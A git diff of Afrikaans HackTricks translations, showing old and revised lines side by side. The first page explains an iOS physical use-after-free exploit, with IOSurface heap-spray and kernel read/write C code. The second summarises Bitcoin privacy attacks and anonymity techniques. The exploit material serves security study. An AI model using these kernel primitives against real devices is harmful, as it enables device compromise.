6. Omdat die mapping nie verwyder is nie, kan die proses steeds **lees en skryf** na hierdie physical memory.
|
||||||
|
|
||||||
Dit beteken die proses kan toegang kry tot **bladsye van kernel geheue**, wat sensitiewe data of strukture kan bevat, en moontlik ’n aanvaller toelaat om **kernel geheue te manipuleer**.
|
Dit beteken die proses kan toegang kry tot **pages van kernel memory**, wat sensitiewe data of strukture kan bevat, en moontlik ’n aanvaller in staat stel om **kernel memory te manipuleer**.
|
||||||
|
|
||||||
### IOSurface Heap Spray
|
### IOSurface Heap Spray
|
||||||
|
|
||||||
Aangesien die aanvaller nie die spesifieke kernel-bladsye wat aan vrygestelde geheue toegeken sal word kan beheer nie, gebruik hulle ’n tegniek genoem **heap spray**:
|
Aangesien die aanvaller nie kan beheer watter spesifieke kernel pages aan vrygemaakte memory toegeken sal word nie, gebruik hulle ’n tegniek genaamd **heap spray**:
|
||||||
|
|
||||||
1. Die aanvaller skep ’n groot aantal IOSurface objects in kernel-geheue.
|
1. Die aanvaller **skep ’n groot aantal IOSurface objects** in kernel memory.
|
||||||
2. Elke IOSurface object bevat ’n **magic value** in een van sy velde, wat dit maklik maak om te identifiseer.
|
2. Elke IOSurface object bevat ’n **magic value** in een van sy velde, wat dit maklik maak om te identifiseer.
|
||||||
3. Hulle **scan die vrygestelde bladsye** om te kyk of enige van hierdie IOSurface objects op ’n vrygestelde bladsy beland het.
|
3. Hulle **skandeer die vrygemaakte pages** om te sien of enige van hierdie IOSurface objects op ’n vrygemaakte page beland het.
|
||||||
4. Wanneer hulle ’n IOSurface object op ’n vrygestelde bladsy vind, kan hulle dit gebruik om **kernel geheue te lees en te skryf**.
|
4. Wanneer hulle ’n IOSurface object op ’n vrygemaakte page vind, kan hulle dit gebruik om **kernel memory te lees en te skryf**.
|
||||||
|
|
||||||
More info about this in [https://github.com/felix-pb/kfd/tree/main/writeups](https://github.com/felix-pb/kfd/tree/main/writeups)
|
More info about this in [https://github.com/felix-pb/kfd/tree/main/writeups](https://github.com/felix-pb/kfd/tree/main/writeups)
|
||||||
|
|
||||||
> [!TIP]
|
> [!TIP]
|
||||||
> Wees bewus dat iOS 16+ (A12+) devices hardware-mitigations (soos PPL of SPTM) meebring wat physical UAF-tegnieke baie minder uitvoerbaar maak.
|
> Wees bewus dat iOS 16+ (A12+) toestelle hardware-mitigations bring (soos PPL of SPTM) wat physical UAF-tegnieke veel minder lewensvatbaar maak.
|
||||||
> PPL dwing streng MMU-beskermings af op bladsye wat verband hou met code signing, entitlements, en sensitiewe kernel-data, so selfs as ’n bladsy hergebruik word, word skrywe vanaf userland of gekompromitteerde kernel-kode na PPL-beskermde bladsye geblokkeer.
|
> PPL handhaaf streng MMU-beskermings op pages wat verband hou met code signing, entitlements, en sensitiewe kernel-data, so selfs as ’n page hergebruik word, word skryfoperasies van userland of gekompromitteerde kernel-kode na PPL-beskermde pages geblokkeer.
|
||||||
> Secure Page Table Monitor (SPTM) brei PPL uit deur page table updates self te verskerp. Dit verseker dat selfs bevoorregte kernel-kode nie stilweg vrygestelde bladsye kan herkaart of mappings kan manipuleer sonder om deur veilige kontroles te gaan nie.
|
> Secure Page Table Monitor (SPTM) brei PPL uit deur page table updates self te verhard. Dit verseker dat selfs geprivilegieerde kernel-kode nie stilweg vrygemaakte pages kan her-map of mappings kan manipuleer sonder om deur veilige kontroles te gaan nie.
|
||||||
> KTRR (Kernel Text Read-Only Region) sluit die kernel se kodeafdeling as read-only na boot. Dit verhoed enige runtime-wysigings aan kernel-kode, wat ’n groot aanvalsvlak sluit waarop physical UAF-exploits dikwels staatmaak.
|
> KTRR (Kernel Text Read-Only Region) sluit die kernel se code-afdeling as read-only na boot. Dit voorkom enige runtime-wysigings aan kernel-kode, en sluit ’n groot aanvalspad wat physical UAF-exploits dikwels benut.
|
||||||
> Verder is IOSurface-allocations minder voorspelbaar en moeiliker om na user-accessible streke te map, wat die “magic value scanning” truuk baie minder betroubaar maak. En IOSurface is nou beveilig deur entitlements en sandbox-beperkings.
|
> Boonop is `IOSurface` allocations minder voorspelbaar en moeiliker om in user-accessible streke te map, wat die “magic value scanning” truuk baie minder betroubaar maak. En `IOSurface` word nou verder beskerm deur entitlements en sandbox-beperkings.
|
||||||
|
|
||||||
### Step-by-Step Heap Spray Process
|
### Step-by-Step Heap Spray Process
|
||||||
|
|
||||||
1. **Spray IOSurface Objects**: Die aanvaller skep baie IOSurface objects met ’n spesiale identifiseerder ("magic value").
|
1. **Spray IOSurface Objects**: Die aanvalleur skep baie IOSurface objects met ’n spesiale identifiseerder ("magic value").
|
||||||
2. **Scan Freed Pages**: Hulle kontroleer of enige van die objects op ’n vrygestelde bladsy toegeken is.
|
2. **Scan Freed Pages**: Hulle kyk of enige van die objects op ’n vrygemaakte page toegeken is.
|
||||||
3. **Read/Write Kernel Memory**: Deur velde in die IOSurface object te manipuleer, kry hulle die vermoë om **arbitrary reads and writes** in kernel-geheue uit te voer. Dit laat hulle toe om:
|
3. **Read/Write Kernel Memory**: Deur velde in die IOSurface object te manipuleer, verkry hulle die vermoë om **arbitrary reads and writes** in kernel memory uit te voer. Dit laat hulle toe om:
|
||||||
* Een veld te gebruik om **enige 32-bit waarde** in kernel-geheue te lees.
|
* Gebruik een veld om **read any 32-bit value** in kernel memory.
|
||||||
* ’n Ander veld te gebruik om **64-bit waardes** te skryf, wat ’n stabiele **kernel read/write primitive** bewerkstellig.
|
* Gebruik ’n ander veld om **write 64-bit values**, en so ’n stabiele **kernel read/write primitive** te verkry.
|
||||||
|
|
||||||
Generate IOSurface objects with the magic value IOSURFACE\_MAGIC to later search for:
|
Generate IOSurface objects with the magic value IOSURFACE_MAGIC to later search for:
|
||||||
```c
|
```c
|
||||||
void spray_iosurface(io_connect_t client, int nSurfaces, io_connect_t **clients, int *nClients) {
|
void spray_iosurface(io_connect_t client, int nSurfaces, io_connect_t **clients, int *nClients) {
|
||||||
if (*nClients >= 0x4000) return;
|
if (*nClients >= 0x4000) return;
|
||||||
@ -128,7 +127,7 @@ io_connect_t id = result.surface_id;
|
|||||||
}
|
}
|
||||||
}
|
}
|
||||||
```
|
```
|
||||||
Soek na **`IOSurface`** voorwerpe in 'n bevryde fisiese bladsy:
|
Soek na **`IOSurface`**-voorwerpe in een vrygestelde fisiese bladsy:
|
||||||
```c
|
```c
|
||||||
int iosurface_krw(io_connect_t client, uint64_t *puafPages, int nPages, uint64_t *self_task, uint64_t *puafPage) {
|
int iosurface_krw(io_connect_t client, uint64_t *puafPages, int nPages, uint64_t *self_task, uint64_t *puafPage) {
|
||||||
io_connect_t *surfaceIDs = malloc(sizeof(io_connect_t) * 0x4000);
|
io_connect_t *surfaceIDs = malloc(sizeof(io_connect_t) * 0x4000);
|
||||||
@ -164,23 +163,23 @@ return 0;
|
|||||||
```
|
```
|
||||||
### Bereik Kernel Lees/Skryf met IOSurface
|
### Bereik Kernel Lees/Skryf met IOSurface
|
||||||
|
|
||||||
Nadat beheer oor 'n IOSurface-objek in kernel-geheue bereik is (gemap na 'n vrygemaakte fisiese bladsy wat vanaf userspace toeganklik is), kan ons dit gebruik vir **arbitrêre kernel lees- en skryf-operasies**.
|
Nadat jy beheer oor 'n IOSurface-objek in kernel-geheue bereik het (gemap na 'n vrygemaakte fisiese bladsy wat vanaf userspace toeganklik is), kan ons dit gebruik vir **arbitrêre kernel lees- en skryfoperasies**.
|
||||||
|
|
||||||
**Belangrike velde in IOSurface**
|
**Belangrike velde in IOSurface**
|
||||||
|
|
||||||
Die IOSurface-objek het twee beslissende velde:
|
Die IOSurface-objek het twee kernvelde:
|
||||||
|
|
||||||
1. **Use Count Pointer**: Laat 'n **32-bit lees** toe.
|
1. **Use Count Pointer**: Laat 'n **32-bit lees** toe.
|
||||||
2. **Indexed Timestamp Pointer**: Laat 'n **64-bit skryf** toe.
|
2. **Indexed Timestamp Pointer**: Laat 'n **64-bit skryf** toe.
|
||||||
|
|
||||||
Deur hierdie pointers te oorskryf, herlei ons hulle na arbitrêre adresse in kernel-geheue, wat lees-/skryfvermoëns moontlik maak.
|
Deur hierdie aanwysers oor te skryf, herlei ons hulle na arbitrêre adresse in die kernel-geheue, wat lees-/skryfvermoëns moontlik maak.
|
||||||
|
|
||||||
#### 32-Bit Kernel Lees
|
#### 32-Bit Kernel Lees
|
||||||
|
|
||||||
Om 'n lees uit te voer:
|
Om 'n lees uit te voer:
|
||||||
|
|
||||||
1. Oorskryf die **use count pointer** sodat dit na die teikenadres wys minus 'n 0x14-byte offset.
|
1. Oorskryf die **use count pointer** sodat dit na die teikenadres wys minus 'n 0x14-byte offset.
|
||||||
2. Gebruik die `get_use_count` method om die waarde by daardie adres te lees.
|
2. Gebruik die `get_use_count` metode om die waarde by daardie adres te lees.
|
||||||
```c
|
```c
|
||||||
uint32_t get_use_count(io_connect_t client, uint32_t surfaceID) {
|
uint32_t get_use_count(io_connect_t client, uint32_t surfaceID) {
|
||||||
uint64_t args[1] = {surfaceID};
|
uint64_t args[1] = {surfaceID};
|
||||||
@ -198,11 +197,11 @@ iosurface_set_use_count_pointer(info.object, orig);
|
|||||||
return value;
|
return value;
|
||||||
}
|
}
|
||||||
```
|
```
|
||||||
#### 64-Bit Kernel Write
|
#### 64-bis kernelskryf
|
||||||
|
|
||||||
Om 'n skrywing uit te voer:
|
Om 'n skryfoperasie uit te voer:
|
||||||
|
|
||||||
1. Oorskryf die **indexed timestamp pointer** na die teikenadres.
|
1. Oorskryf die **geïndekseerde tydstempel-aanwyser** na die teikenadres.
|
||||||
2. Gebruik die `set_indexed_timestamp` metode om 'n 64-bit waarde te skryf.
|
2. Gebruik die `set_indexed_timestamp` metode om 'n 64-bit waarde te skryf.
|
||||||
```c
|
```c
|
||||||
void set_indexed_timestamp(io_connect_t client, uint32_t surfaceID, uint64_t value) {
|
void set_indexed_timestamp(io_connect_t client, uint32_t surfaceID, uint64_t value) {
|
||||||
@ -220,10 +219,10 @@ iosurface_set_indexed_timestamp_pointer(info.object, orig);
|
|||||||
#### Opsomming van die Exploit-vloei
|
#### Opsomming van die Exploit-vloei
|
||||||
|
|
||||||
1. **Trigger Physical Use-After-Free**: Vrye bladsye is beskikbaar vir hergebruik.
|
1. **Trigger Physical Use-After-Free**: Vrye bladsye is beskikbaar vir hergebruik.
|
||||||
2. **Spray IOSurface Objects**: Ken baie IOSurface objects toe met 'n unieke "magic value" in kernel memory.
|
2. **Spray IOSurface Objects**: Allokeer baie IOSurface-objekte met 'n unieke "magic value" in kernel memory.
|
||||||
3. **Identify Accessible IOSurface**: Vind 'n IOSurface op 'n vrygemaakte bladsy wat jy beheer.
|
3. **Identify Accessible IOSurface**: Lokaliseer 'n IOSurface op 'n vrygemaakte bladsy wat jy beheer.
|
||||||
4. **Abuse Use-After-Free**: Wysig pointere in die IOSurface object om arbitrêre **kernel read/write** via IOSurface-metodes moontlik te maak.
|
4. **Abuse Use-After-Free**: Wysig pointers in die IOSurface-objek om ewekansige **kernel read/write** via IOSurface-metodes moontlik te maak.
|
||||||
|
|
||||||
Met hierdie primitiewe voorsien die exploit beheerde **32-bit reads** en **64-bit writes** na kernel memory. Verdere jailbreak-stappe kan meer stabiele read/write-primitiewe vereis, wat die omseiling van addisionele beskermings kan benodig (bv. PPL op nuwer arm64e-toestelle).
|
Met hierdie primitiewe verskaf die exploit beheerde **32-bit reads** en **64-bit writes** na kernel memory. Verdere jailbreak-stappe kan meer stabiele read/write primitives behels, wat vereis dat addisionele beskermings omseil word (bv. PPL op nuwer arm64e-toestelle).
|
||||||
|
|
||||||
{{#include ../../banners/hacktricks-training.md}}
|
{{#include ../../banners/hacktricks-training.md}}
|
||||||
|
@ -1,174 +1,176 @@
|
|||||||
|
# Blockchain en Kripto-geldeenhede
|
||||||
|
|
||||||
{{#include ../../banners/hacktricks-training.md}}
|
{{#include ../../banners/hacktricks-training.md}}
|
||||||
|
|
||||||
## Basiese Konsepte
|
## Basiese Konsepte
|
||||||
|
|
||||||
- **Slimme Kontrakte** word gedefinieer as programme wat op 'n blockchain uitvoer wanneer sekere voorwaardes nagekom word, wat die uitvoering van ooreenkomste outomatiseer sonder intermediêre.
|
- **Smart Contracts** word gedefinieer as programme wat op 'n blockchain uitgevoer word wanneer sekere voorwaardes vervul is, en outomatiseer die uitvoering van ooreenkomste sonder tussengangers.
|
||||||
- **Gedecentraliseerde Toepassings (dApps)** bou voort op slim kontrakte, met 'n gebruikersvriendelike front-end en 'n deursigtige, auditeerbare back-end.
|
- **Gedecentraliseerde toepassings (dApps)** bou op Smart Contracts voort en het 'n gebruikersvriendelike front-end en 'n deursigtige, ouditbare back-end.
|
||||||
- **Tokens & Munte** onderskei waar munte as digitale geld dien, terwyl tokens waarde of eienaarskap in spesifieke kontekste verteenwoordig.
|
- **Tokens & Coins** onderskei waar munte as digitale geld dien, terwyl tokens waarde of eienaarskap in spesifieke kontekste verteenwoordig.
|
||||||
- **Nut Tokens** bied toegang tot dienste, en **Sekuriteit Tokens** dui eienaarskap van bates aan.
|
- **Utility Tokens** gee toegang tot dienste, en **Security Tokens** dui eienaarskap van bates aan.
|
||||||
- **DeFi** staan vir Gedecentraliseerde Finansies, wat finansiële dienste bied sonder sentrale owerhede.
|
- **DeFi** staan vir Decentralized Finance en bied finansiële dienste sonder sentrale owerhede.
|
||||||
- **DEX** en **DAOs** verwys na Gedecentraliseerde Uitruil Platforms en Gedecentraliseerde Outonome Organisasies, onderskeidelik.
|
- **DEX** en **DAOs** verwys onderskeidelik na Decentralized Exchange Platforms en Decentralized Autonomous Organizations.
|
||||||
|
|
||||||
## Konsensusmeganismes
|
## Konsensusmeganismes
|
||||||
|
|
||||||
Konsensusmeganismes verseker veilige en ooreengekome transaksie-validasies op die blockchain:
|
Konsensusmeganismes verseker veilige en ooreengekome transaksiebevestigings op die blockchain:
|
||||||
|
|
||||||
- **Bewys van Werk (PoW)** staat op rekenaarkrag vir transaksie-verifikasie.
|
- **Proof of Work (PoW)** berus op rekenaarkrag vir transaksieverifiëring.
|
||||||
- **Bewys van Belang (PoS)** vereis dat validators 'n sekere hoeveelheid tokens hou, wat energieverbruik in vergelyking met PoW verminder.
|
- **Proof of Stake (PoS)** vereis dat validators 'n sekere hoeveelheid tokens hou, wat energieverbruik verminder in vergelyking met PoW.
|
||||||
|
|
||||||
## Bitcoin Essensieel
|
## Bitcoin Basiese Inligting
|
||||||
|
|
||||||
### Transaksies
|
### Transaksies
|
||||||
|
|
||||||
Bitcoin-transaksies behels die oordrag van fondse tussen adresse. Transaksies word geverifieer deur digitale handtekeninge, wat verseker dat slegs die eienaar van die private sleutel oordragte kan begin.
|
Bitcoin-transaksies behels die oordrag van fondse tussen adresse. Transaksies word geverifieer deur digitale handtekeninge, wat verseker dat slegs die eienaar van die private sleutel oordragte kan inisieer.
|
||||||
|
|
||||||
#### Sleutelkomponente:
|
#### Sleutelelemente:
|
||||||
|
|
||||||
- **Multihandtekening Transaksies** vereis verskeie handtekeninge om 'n transaksie te magtig.
|
- **Multisignature Transactions** vereis meerdere handtekeninge om 'n transaksie te magtig.
|
||||||
- Transaksies bestaan uit **insette** (bron van fondse), **uitsette** (bestemming), **fooie** (betaal aan mynwerkers), en **scripts** (transaksie-reëls).
|
- Transaksies bestaan uit **inputs** (bron van fondse), **outputs** (bestemming), **fees** (betaal aan miners), en **scripts** (transaksiereëls).
|
||||||
|
|
||||||
### Lightning Netwerk
|
### Lightning Network
|
||||||
|
|
||||||
Streef daarna om Bitcoin se skaalbaarheid te verbeter deur verskeie transaksies binne 'n kanaal toe te laat, en slegs die finale toestand aan die blockchain te broadcast.
|
Strewe daarna om Bitcoin se skaalbaarheid te verbeter deur meerdere transaksies binne 'n kanaal toe te laat, en slegs die finale toestand na die blockchain uit te saai.
|
||||||
|
|
||||||
## Bitcoin Privaatheidkwessies
|
## Bitcoin Privaatheidsake
|
||||||
|
|
||||||
Privaatheidaanvalle, soos **Algemene Inset Eienaarskap** en **UTXO Veranderadres Ontdekking**, benut transaksiepatrone. Strategieë soos **Mixers** en **CoinJoin** verbeter anonimiteit deur transaksieverbindinge tussen gebruikers te verdoesel.
|
Privaatheidsaanvalle, soos **Common Input Ownership** en **UTXO Change Address Detection**, benut transaksiepatrone. Strategieë soos **Mixers** en **CoinJoin** verbeter anonimiteit deur transaksielinks tussen gebruikers te verberg.
|
||||||
|
|
||||||
## Verkryging van Bitcoins Anoniem
|
## Anoniem Bitcoins Verkry
|
||||||
|
|
||||||
Metodes sluit kontanthandel, mynwerk en die gebruik van mixers in. **CoinJoin** meng verskeie transaksies om die opspoorbaarheid te kompliseer, terwyl **PayJoin** CoinJoins as gewone transaksies verdoesel vir verhoogde privaatheid.
|
Metodes sluit in kontanttransaksies, mynbou, en die gebruik van mixers. **CoinJoin** meng meerdere transaksies om spoorbaarheid te bemoeilik, terwyl **PayJoin** CoinJoins as gewone transaksies verdoesel vir verhoogde privaatheid.
|
||||||
|
|
||||||
# Bitcoin Privaatheid Aanvalle
|
# Bitcoin Privaatheid Aanvalle
|
||||||
|
|
||||||
# Samevatting van Bitcoin Privaatheid Aanvalle
|
# Opsomming van Bitcoin Privaatheidsaanvalle
|
||||||
|
|
||||||
In die wêreld van Bitcoin is die privaatheid van transaksies en die anonimiteit van gebruikers dikwels onderwerpe van kommer. Hier is 'n vereenvoudigde oorsig van verskeie algemene metodes waardeur aanvallers Bitcoin privaatheid kan kompromitteer.
|
In die wêreld van Bitcoin is die privaatheid van transaksies en die anonimiteit van gebruikers dikwels ʼn bron van kommer. Hier is 'n vereenvoudigde oorsig van verskeie algemene metodes waardeur aanvallers Bitcoin-privaatheid kan kompromitteer.
|
||||||
|
|
||||||
## **Algemene Inset Eienaarskap Aannames**
|
## **Common Input Ownership Assumption**
|
||||||
|
|
||||||
Dit is oor die algemeen selde dat insette van verskillende gebruikers in 'n enkele transaksie gekombineer word weens die kompleksiteit wat betrokke is. Dus, **twee inset adresse in dieselfde transaksie word dikwels veronderstel om aan dieselfde eienaar te behoort**.
|
Dit is gewoonlik skaars dat inputs van verskillende gebruikers in 'n enkele transaksie gekombineer word weens die kompleksiteit wat betrokke is. Dus word **twee input-adresse in dieselfde transaksie dikwels aanvaar om aan dieselfde eienaar te behoort**.
|
||||||
|
|
||||||
## **UTXO Veranderadres Ontdekking**
|
## **UTXO Change Address Detection**
|
||||||
|
|
||||||
'n UTXO, of **Onbestedigde Transaksie-uitset**, moet heeltemal in 'n transaksie bestee word. As slegs 'n deel daarvan na 'n ander adres gestuur word, gaan die oorblywende na 'n nuwe veranderadres. Waarnemers kan aanneem dat hierdie nuwe adres aan die sender behoort, wat privaatheid kompromitteer.
|
'n UTXO, of **Unspent Transaction Output**, moet volledig in 'n transaksie bestee word. As net 'n deel daarvan aan 'n ander adres gestuur word, gaan die res na 'n nuwe change-adres. Waarnemers kan aanvaar dat hierdie nuwe adres aan die sender behoort, wat privaatheid in gevaar stel.
|
||||||
|
|
||||||
### Voorbeeld
|
### Voorbeeld
|
||||||
|
|
||||||
Om dit te verminder, kan mengdienste of die gebruik van verskeie adresse help om eienaarskap te verdoesel.
|
Om dit te versag, kan mengdienste of die gebruik van verskeie adresse help om eienaarskap te verberg.
|
||||||
|
|
||||||
## **Sosiale Netwerke & Forums Blootstelling**
|
## **Social Networks & Forums Exposure**
|
||||||
|
|
||||||
Gebruikers deel soms hul Bitcoin adresse aanlyn, wat dit **maklik maak om die adres aan sy eienaar te koppel**.
|
Gebruikers deel soms hul Bitcoin-adresse aanlyn, wat dit **maklik maak om die adres aan die eienaar te koppel**.
|
||||||
|
|
||||||
## **Transaksie Grafiek Analise**
|
## **Transaction Graph Analysis**
|
||||||
|
|
||||||
Transaksies kan as grafieke gevisualiseer word, wat potensiële verbindings tussen gebruikers onthul op grond van die vloei van fondse.
|
Transaksies kan as grafieke gesien word, wat potensiële verbindings tussen gebruikers toon gebaseer op die vloei van fondse.
|
||||||
|
|
||||||
## **Onnodige Inset Heuristiek (Optimale Verander Heuristiek)**
|
## **Unnecessary Input Heuristic (Optimal Change Heuristic)**
|
||||||
|
|
||||||
Hierdie heuristiek is gebaseer op die analise van transaksies met verskeie insette en uitsette om te raai watter uitset die verandering is wat na die sender terugkeer.
|
Hierdie heuristiek is gebaseer op die ontleding van transaksies met veelvuldige inputs en outputs om te raai watter output die change is wat aan die sender terugkeer.
|
||||||
|
|
||||||
### Voorbeeld
|
### Voorbeeld
|
||||||
```bash
|
```bash
|
||||||
2 btc --> 4 btc
|
2 btc --> 4 btc
|
||||||
3 btc 1 btc
|
3 btc 1 btc
|
||||||
```
|
```
|
||||||
As jy meer invoere byvoeg wat die verandering uitvoer groter maak as enige enkele invoer, kan dit die heuristiek verwarrend maak.
|
As die byvoeging van meer inputs die change-uitset groter maak as enige enkele input, kan dit die heuristiek in die war bring.
|
||||||
|
|
||||||
## **Gedwonge Adres Hergebruik**
|
## **Gedwonge hergebruik van adresse**
|
||||||
|
|
||||||
Aanvallers kan klein bedrae na voorheen gebruikte adresse stuur, in die hoop dat die ontvanger dit saam met ander invoere in toekomstige transaksies kombineer, wat adresse aan mekaar koppel.
|
Aanvallers kan klein bedrae stuur na voorheen gebruikte adresse, in die hoop dat die ontvanger dit met ander insette in toekomstige transaksies kombineer en sodoende adresse aan mekaar koppel.
|
||||||
|
|
||||||
### Korrek Wallet Gedrag
|
### Korrekte wallet-gedrag
|
||||||
|
|
||||||
Wallets moet vermy om munte wat op reeds gebruikte, leë adresse ontvang is, te gebruik om hierdie privaatheidslek te voorkom.
|
Wallets behoort te vermy om coins wat op reeds gebruikte, leë adresse ontvang is, te gebruik om hierdie privacy leak te voorkom.
|
||||||
|
|
||||||
## **Ander Blockchain Analise Tegnieke**
|
## **Andere Blockchain-ontledingstegnieke**
|
||||||
|
|
||||||
- **Presiese Betalingsbedrae:** Transaksies sonder verandering is waarskynlik tussen twee adresse wat aan dieselfde gebruiker behoort.
|
- **Exact Payment Amounts:** Transaksies sonder change is waarskynlik tussen twee adresse wat deur dieselfde gebruiker besit word.
|
||||||
- **Ronde Getalle:** 'n Ronde getal in 'n transaksie dui aan dat dit 'n betaling is, met die nie-ronde uitvoer wat waarskynlik die verandering is.
|
- **Round Numbers:** 'n Rond getal in 'n transaksie dui daarop dat dit 'n betaling is, met die nie-rond uitset wat waarskynlik die wissel is.
|
||||||
- **Wallet Fingerprinting:** Verskillende wallets het unieke transaksie skeppingspatrone, wat ontleders in staat stel om die sagteware wat gebruik is te identifiseer en moontlik die verandering adres.
|
- **Wallet Fingerprinting:** Verskillende wallets het unieke transaksie-skep patrone, wat ontleders toelaat om die sagteware te identifiseer wat gebruik is en moontlik die change-adres.
|
||||||
- **Bedrag & Tyds korrelasies:** Die bekendmaking van transaksietye of -bedrae kan transaksies opspoorbaar maak.
|
- **Amount & Timing Correlations:** Die openbaarmaking van transaksietye of -bedrae kan transaksies opspoorbaar maak.
|
||||||
|
|
||||||
## **Verkeersanalise**
|
## **Verkeersontleding**
|
||||||
|
|
||||||
Deur netwerkverkeer te monitor, kan aanvallers potensieel transaksies of blokke aan IP adresse koppel, wat gebruikers se privaatheid in gevaar stel. Dit is veral waar as 'n entiteit baie Bitcoin nodes bedryf, wat hul vermoë om transaksies te monitor verbeter.
|
Deur netwerkverkeer te monitor, kan aanvallers moontlik transaksies of blokkies aan IP addresses koppel en gebruikers se privaatheid kompromitteer. Dit is veral waar as 'n entiteit baie Bitcoin nodes bedryf, wat hul vermoë om transaksies te monitor verbeter.
|
||||||
|
|
||||||
## Meer
|
## Meer
|
||||||
|
|
||||||
Vir 'n omvattende lys van privaatheid aanvalle en verdediging, besoek [Bitcoin Privacy on Bitcoin Wiki](https://en.bitcoin.it/wiki/Privacy).
|
Vir 'n omvattende lys van privacy-aanvalle en verdedigings, besoek [Bitcoin Privacy on Bitcoin Wiki](https://en.bitcoin.it/wiki/Privacy).
|
||||||
|
|
||||||
# Anonieme Bitcoin Transaksies
|
# Anonieme Bitcoin-transaksies
|
||||||
|
|
||||||
## Manier om Bitcoins Anoniem te Verkry
|
## Maniere om Bitcoins Anoniem te Kry
|
||||||
|
|
||||||
- **Kontant Transaksies**: Verkryging van bitcoin deur kontant.
|
- **Kontanttransaksies**: Verkryging van bitcoin deur kontant.
|
||||||
- **Kontant Alternatiewe**: Aankoop van geskenkbewyse en dit aanlyn vir bitcoin ruil.
|
- **Kontantalternatiewe**: Aankoop van geskenkkaarte en ruil daarvan aanlyn vir bitcoin.
|
||||||
- **Myn**: Die mees private metode om bitcoins te verdien is deur mynbou, veral wanneer dit alleen gedoen word omdat mynboupoele die mynwerker se IP adres mag ken. [Mynpoele Inligting](https://en.bitcoin.it/wiki/Pooled_mining)
|
- **Mynbou**: Die privaatste metode om bitcoins te verdien is deur mynbou, veral as dit alleen gedoen word, want mining pools mag die miner se IP-adres ken. [Mining Pools Information](https://en.bitcoin.it/wiki/Pooled_mining)
|
||||||
- **Diefstal**: Teoreties kan diefstal van bitcoin 'n ander metode wees om dit anoniem te verkry, alhoewel dit onwettig is en nie aanbeveel word nie.
|
- **Diefstal**: Teoreties kan diefstal van bitcoin 'n ander metode wees om dit anoniem te verkry, alhoewel dit onwettig is en nie aanbeveel word nie.
|
||||||
|
|
||||||
## Mengdienste
|
## Mengdienste
|
||||||
|
|
||||||
Deur 'n mengdiens te gebruik, kan 'n gebruiker **bitcoins stuur** en **verskillende bitcoins in ruil ontvang**, wat dit moeilik maak om die oorspronklike eienaar te spoor. Tog vereis dit vertroue in die diens om nie logs te hou nie en om werklik die bitcoins terug te stuur. Alternatiewe mengopsies sluit Bitcoin-kasino's in.
|
Deur 'n mixing service te gebruik, kan 'n gebruiker bitcoins stuur en ander bitcoins in ruil ontvang, wat dit moeilik maak om die oorspronklike eienaar te spoor. Dit vereis egter vertroue in die diens om nie logs te hou nie en om die bitcoins werklik terug te stuur. Alternatiewe mengopsies sluit Bitcoin-casinos in.
|
||||||
|
|
||||||
## CoinJoin
|
## CoinJoin
|
||||||
|
|
||||||
**CoinJoin** kombineer verskeie transaksies van verskillende gebruikers in een, wat die proses vir enigiemand wat probeer om invoere met uitvoere te pas, kompliseer. Ten spyte van sy doeltreffendheid, kan transaksies met unieke invoer- en uitvoergroottes steeds potensieel opgespoor word.
|
CoinJoin meng meerdere transaksies van verskillende gebruikers in een, wat die proses bemoeilik vir enigiemand wat insette met uitsette wil koppel. Ondanks die doeltreffendheid daarvan, kan transaksies met unieke inset- en uitsetgroottes steeds potensieel opspoorbaar wees.
|
||||||
|
|
||||||
Voorbeeldtransaksies wat moontlik CoinJoin gebruik het, sluit `402d3e1df685d1fdf82f36b220079c1bf44db227df2d676625ebcbee3f6cb22a` en `85378815f6ee170aa8c26694ee2df42b99cff7fa9357f073c1192fff1f540238` in.
|
Voorbeeltransaksies wat moontlik CoinJoin gebruik het, sluit in `402d3e1df685d1fdf82f36b220079c1bf44db227df2d676625ebcbee3f6cb22a` en `85378815f6ee170aa8c26694ee2df42b99cff7fa9357f073c1192fff1f540238`.
|
||||||
|
|
||||||
Vir meer inligting, besoek [CoinJoin](https://coinjoin.io/en). Vir 'n soortgelyke diens op Ethereum, kyk na [Tornado Cash](https://tornado.cash), wat transaksies met fondse van mynwerkers anoniem maak.
|
Vir meer inligting, besoek [CoinJoin](https://coinjoin.io/en). Vir 'n soortgelyke diens op Ethereum, kyk na [Tornado Cash](https://tornado.cash), wat transaksies anonimiseer met fondse van miners.
|
||||||
|
|
||||||
## PayJoin
|
## PayJoin
|
||||||
|
|
||||||
'n Variant van CoinJoin, **PayJoin** (of P2EP), verberg die transaksie tussen twee partye (bv. 'n klant en 'n handelaar) as 'n gewone transaksie, sonder die kenmerkende gelyke uitvoer wat tipies van CoinJoin is. Dit maak dit uiters moeilik om te detecteer en kan die algemene-invoer-eienaarskap heuristiek wat deur transaksie toesig entiteite gebruik word, ongeldig maak.
|
'n Variant van CoinJoin, **PayJoin** (of P2EP), verdoesel die transaksie tussen twee partye (bv. 'n klant en 'n handelaar) as 'n gewone transaksie, sonder die kenmerkende gelyke uitsette van CoinJoin. Dit maak dit uiters moeilik om te ontdek en kan die common-input-ownership heuristiek wat deur transaksiebewakingsentiteite gebruik word, ongeldig maak.
|
||||||
```plaintext
|
```plaintext
|
||||||
2 btc --> 3 btc
|
2 btc --> 3 btc
|
||||||
5 btc 4 btc
|
5 btc 4 btc
|
||||||
```
|
```
|
||||||
Transaksies soos die bogenoemde kan PayJoin wees, wat privaatheid verbeter terwyl dit ononderskeibaar bly van standaard bitcoin transaksies.
|
Transaksies soos bogenoemde kan PayJoin wees, wat privaatheid verbeter terwyl dit ononderskeibaar bly van standaard bitcoin-transaksies.
|
||||||
|
|
||||||
**Die gebruik van PayJoin kan tradisionele toesigmetodes aansienlik ontwrig**, wat dit 'n belowende ontwikkeling maak in die strewe na transaksie privaatheid.
|
**Die gebruik van PayJoin kan tradisionele toesigmetodes beduidend ontwrig**, wat dit 'n belowende ontwikkeling maak in die strewe na transaksionele privaatheid.
|
||||||
|
|
||||||
# Beste Praktyke vir Privaatheid in Kriptogeldeenhede
|
# Beste praktyke vir privaatheid in kripto-geldeenhede
|
||||||
|
|
||||||
## **Waldoorsinkroniseringstegnieke**
|
## **Wallet-sinkroniseringstegnieke**
|
||||||
|
|
||||||
Om privaatheid en sekuriteit te handhaaf, is dit noodsaaklik om waldoors met die blockchain te sinkroniseer. Twee metodes val op:
|
Om privaatheid en sekuriteit te handhaaf, is dit belangrik om wallets met die blockchain te sinkroniseer. Twee metodes steek uit:
|
||||||
|
|
||||||
